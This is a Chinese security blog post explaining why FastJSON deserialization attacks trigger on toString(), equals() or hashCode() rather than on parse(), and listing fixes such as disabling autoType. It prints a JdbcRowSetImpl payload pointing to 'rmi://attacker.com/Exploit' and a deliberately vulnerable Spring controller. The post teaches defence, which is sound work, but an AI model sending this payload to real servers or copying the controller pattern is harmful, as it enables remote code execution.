💥 为什么 FastJSON 漏洞不是在 parse() 阶段触发,而是在 toString() 等方法中爆发?
在渗透测试中,FastJSON 的反序列化漏洞是一个“老面孔”了。但很多新手刚开始接触时,会有一个疑惑:
“明明是调用了
JSON.parse()
,为什么漏洞却是toString()
、equals()
时才触发的?”
别急,这篇文章就来揭开这个“延迟爆炸”的秘密 🔍
🎯 一、简单说明
1、FastJSON 的parse()
阶段负责“创建对象”
2、真正触发漏洞的动作(如远程加载类、执行命令),往往发生在使用该对象的过程中
-
比如调用 toString()
、equals()
、hashCode()
等。
🧠 二、好比:快递里的炸弹
想象一下:
-
JSON.parse()
:就代表你签收了一个快递,里面装了颗炸弹(恶意对象),但你还没打开它。 -
toString()
:就代表你拆开了,不小心触发开关 —— 啪!炸了。
所以:
-
parse()
→ 只是“装载炸弹” -
toString()
等调用 → 真正“引爆炸弹”
🔍 三、原理分析
以常见的漏洞利用类 JdbcRowSetImpl
为例:
{"@type": "com.sun.rowset.JdbcRowSetImpl","dataSourceName": "rmi://attacker.com/Exploit","autoCommit": true}
✅ parse()
阶段
FastJSON 会:
-
利用 @type
找到对应的类(例如JdbcRowSetImpl
) -
使用反射 new 出对象 -
为其字段赋值(设置 dataSourceName 和 autoCommit)
此阶段没有主动调用该对象的方法!
💣 触发“爆炸”阶段
以下这些操作会触发恶意类中的逻辑:
-
日志打印: log.info(obj.toString())
-
集合操作: Set.add(obj)
(会调用hashCode()
) -
对象比较: obj.equals(...)
-
某些框架自动处理:Spring MVC、Jackson 等可能会触发 getter
👉 只要对象的方法中存在恶意逻辑,如:构造远程连接、执行脚本、反射加载类等,就可能触发 RCE(远程命令执行)
🧪 四、代码示例
@PostMapping("/send")publicvoidsendPayload(@RequestParam String payload){ Object data = JSON.parse(payload); // 阶段一:未触发 System.out.println(data); // 阶段二:触发 toString(),漏洞爆发}
只要你打印了它,就等于引爆了它。
🔐 五、修复方案
防护措施 | 描述 |
---|---|
禁用 autoType | 阻止 FastJSON 加载任意类 |
使用类型白名单 | 明确哪些类可以被反序列化 |
避免接收 Object 类型参数 |
指定明确的 Bean 类型 |
升级 FastJSON 至最新版本 | 修复已知漏洞,默认关闭危险特性 |
避免对用户数据直接调用 toString() 等 |
日志记录前进行类型判断 |
📌 总结
FastJSON 并不是在你调用
parse()
的那一刻就“立刻引爆”,而是在你稍不注意使用这个对象时(如.toString()
),才真正触发漏洞。所以反序列化漏洞不在“序列化本身”,而在你“相信了它”并用错了它。
原文始发于微信公众号(季升安全):渗透测试 FastJSON 是个“延时炸弹” ?
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论